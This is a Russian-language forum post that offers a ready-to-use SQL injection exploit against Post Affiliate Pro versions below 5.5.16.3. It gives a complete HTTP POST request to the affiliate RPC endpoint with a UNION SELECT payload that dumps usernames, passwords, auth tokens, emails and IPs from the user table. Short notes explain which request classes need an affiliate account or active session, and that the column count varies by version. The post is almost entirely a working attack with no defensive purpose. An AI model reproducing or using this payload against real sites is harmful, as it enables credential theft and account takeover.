Тема: Post Affiliate Pro
Показать сообщение отдельно
Старый 17.12.2016, 20:31   #6
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

SQL Injection < 5.5.16.3

Код:
POST /affiliates/scripts/server.php HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded

D={"C":"Gpf_Rpc_Server", "M":"run", "requests":[{"C":"Pap_Merchants_Campaign_AffChannelSearchRichListBox", "M":"load","id":"cachedRequest","maxCachedCount":"a","from":"s","s":"z","rowsPerPage":"1 UNION SELECT concat_ws(0x3a,authid,username,rpassword,firstname,lastname,authtoken,notificationemail,ip),2 FROM qu_g_authusers -- 1"}], "S":"SESSIONID"}
Pap_Features_AffiliateNetwork_AccountsRichListBox без зависимостей, но AffiliateNetwork это дополнение, присутствует не всегда
Pap_Merchants_Campaign_AffChannelSearchRichListBox нужнен аккаунт аффилейта
SESSIONID - активная сессия на site.com

В зависимости от версии количество колонок может быть другим.
crlf вне форума   Ответить с цитированием